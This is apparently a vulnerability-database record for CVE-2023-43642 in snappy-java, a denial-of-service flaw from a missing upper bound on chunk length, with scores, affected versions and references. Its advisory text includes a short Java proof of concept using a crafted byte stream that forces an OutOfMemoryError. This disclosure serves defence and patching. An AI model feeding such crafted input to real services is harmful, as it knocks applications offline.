{"id":"CVE-2023-43642","aliases":["CVE-2023-43642","GHSA-55g7-9cwv-5qfv"],"related":[],"kind":"vulnerability","state":"published","title":"Missing upper bound check on chunk length in snappy-java","summary":"snappy-java is a Java port of the snappy, a fast C++ compresser/decompresser developed by Google. The SnappyInputStream was found to be vulnerable to Denial of Service (DoS) attacks when decompressing data with a too large chunk size. Due to missing upper bound check on chunk length, an unrecoverable fatal error can occur. All versions of snappy-java including the latest released version 1.1.10.3 are vulnerable to this issue. A fix has been introduced in commit `9f8c3cf74` which will be included in the 1.1.10.4 release. Users are advised to upgrade. Users unable to upgrade should only accept compressed data from trusted sources.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"snappy-java is a Java port of the snappy, a fast C++ compresser/decompresser developed by Google. The SnappyInputStream was found to be vulnerable to Denial of Service (DoS) attacks when decompressing data with a too large chunk size. Due to missing upper bound check on chunk length, an unrecoverable fatal error can occur. All versions of snappy-java including the latest released version 1.1.10.3 are vulnerable to this issue. A fix has been introduced in commit `9f8c3cf74` which will be included in the 1.1.10.4 release. Users are advised to upgrade. Users unable to upgrade should only accept compressed data from trusted sources.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nsnappy-java is a data compression library in Java. Its SnappyInputStream was found to be vulnerable to Denial of Service (DoS) attacks when decompressing data with a too-large chunk size. Due to missing upper bound check on chunk length, an unrecoverable fatal error can occur. \n\n### Scope\n\nAll versions of snappy-java including the latest released version 1.1.10.3.  A fix is applied in 1.1.10.4\n\n### Details\nWhile performing mitigation efforts related to [CVE-2023-34455](https://nvd.nist.gov/vuln/detail/CVE-2023-34455) in Confluent products, our Application Security team closely analyzed the fix that was accepted and merged into snappy-java version 1.1.10.1 in [this](https://github.com/xerial/snappy-java/commit/3bf67857fcf70d9eea56eed4af7c925671e8eaea) commit. The check on [line 421](https://github.com/xerial/snappy-java/commit/3bf67857fcf70d9eea56eed4af7c925671e8eaea#diff-c3e53610267092989965e8c7dd2d4417d355ff7f560f9e8075b365f32569079fR421) only attempts to check if chunkSize is not a negative value. We believe that this is an inadequate fix as it misses an upper-bounds check for overly positive values such as 0x7FFFFFFF (or (2,147,483,647 in decimal) before actually [attempting to allocate](https://github.com/xerial/snappy-java/commit/3bf67857fcf70d9eea56eed4af7c925671e8eaea#diff-c3e53610267092989965e8c7dd2d4417d355ff7f560f9e8075b365f32569079fR429) the provided unverified number of bytes via the “chunkSize” variable. This missing upper-bounds check can lead to the applications depending upon snappy-java to allocate an inappropriate number of bytes on the heap which can then cause an  java.lang.OutOfMemoryError exception. Under some specific conditions and contexts, this can lead to a Denial-of-Service (DoS) attack with a direct impact on the availability of the dependent implementations based on the usage of the snappy-java library for compression/decompression needs.\n\n### PoC\nCompile and run the following code:\n```\npackage org.example;\nimport org.xerial.snappy.SnappyInputStream;\n\nimport java.io.*;\n\npublic class Main {\n\n    public static void main(String[] args) throws IOException {\n        byte[] data = {-126, 'S', 'N', 'A', 'P', 'P', 'Y', 0, 0, 0, 0, 0, 0, 0, 0, 0,(byte) 0x7f, (byte) 0xff, (byte) 0xff, (byte) 0xff};\n        SnappyInputStream in = new SnappyInputStream(new ByteArrayInputStream(data));\n        byte[] out = new byte[50];\n        try {\n            in.read(out);\n        }\n        catch (Exception ignored) {\n        }\n    }\n}\n```\n\n### Impact\nDenial of Service of applications dependent on snappy-java especially if `ExitOnOutOfMemoryError` or `CrashOnOutOfMemoryError` is configured on the JVM.\n\n### Credits\nJan Werner, Mukul Khullar and Bharadwaj Machiraju from Confluent's Application Security team. \n\nWe kindly request for a new CVE ID to be assigned once you acknowledge this vulnerability.","format":"markdown","source":"ghsa"},{"lang":"es","text":"snappy-java es una adaptación Java de snappy, un rápido compresor/descompresor de C++ desarrollado por Google. Se descubrió que SnappyInputStream era vulnerable a ataques de denegación de servicio (DoS) al descomprimir datos con un tamaño de fragmento demasiado grande. Debido a que falta la verificación del límite superior en la longitud del fragmento, puede ocurrir un error fatal irrecuperable. Todas las versiones de snappy-java, incluida la última versión 1.1.10.3, son vulnerables a este problema.\nSe introdujo una solución en el commit `9f8c3cf74` que se incluirá en la versión 1.1.10.4.\nSe recomienda a los usuarios que actualicen. Los usuarios que no puedan actualizar solo deben aceptar datos comprimidos de fuentes confiables.","source":"nvd"}],"published":"2023-09-25T18:30:18.000Z","modified":"2026-09-10T03:49:57.806Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"}],"cwes":["CWE-770"],"affected":[{"ranges":[{"version":"< 1.1.10.4","status":"affected"}],"vendor":"xerial","product":"snappy-java","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"1.1.10.4"}],"ecosystem":"Maven","package":"org.xerial.snappy:snappy-java","purl":"pkg:maven/org.xerial.snappy/snappy-java","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"1.1.10.4"}],"vendor":"xerial","product":"snappy-java","cpe":"cpe:2.3:a:xerial:snappy-java:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/xerial/snappy-java/security/advisories/GHSA-55g7-9cwv-5qfv","tags":["exploit","web","x-refsource-confirm","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/xerial/snappy-java/commit/9f8c3cf74223ed0a8a834134be9c917b9f10ceb5","tags":["patch","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2023-43642","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/xerial/snappy-java","tags":["package"],"sources":["ghsa"]},{"url":"https://github.com/xerial/snappy-java/releases/tag/v1.1.10.4","tags":["web"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2024-09-24T15:26:43.352Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2023-43642","url":"https://www.cve.org/CVERecord?id=CVE-2023-43642","licence":"CVE Terms of Use","modified":"2024-09-24T15:26:53.851Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-55g7-9cwv-5qfv","url":"https://github.com/advisories/GHSA-55g7-9cwv-5qfv","licence":"CC-BY-4.0","modified":"2026-09-10T03:49:57.806Z"},{"source":"nvd","name":"NVD","id":"CVE-2023-43642","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-43642","licence":"Public domain","modified":"2026-06-17T06:26:08.227Z"}],"updatedAt":"2026-11-25T22:58:28.112Z","epss":{"score":0.01211,"percentile":0.69301,"date":"2026-12-01T12:00:22.000Z"}}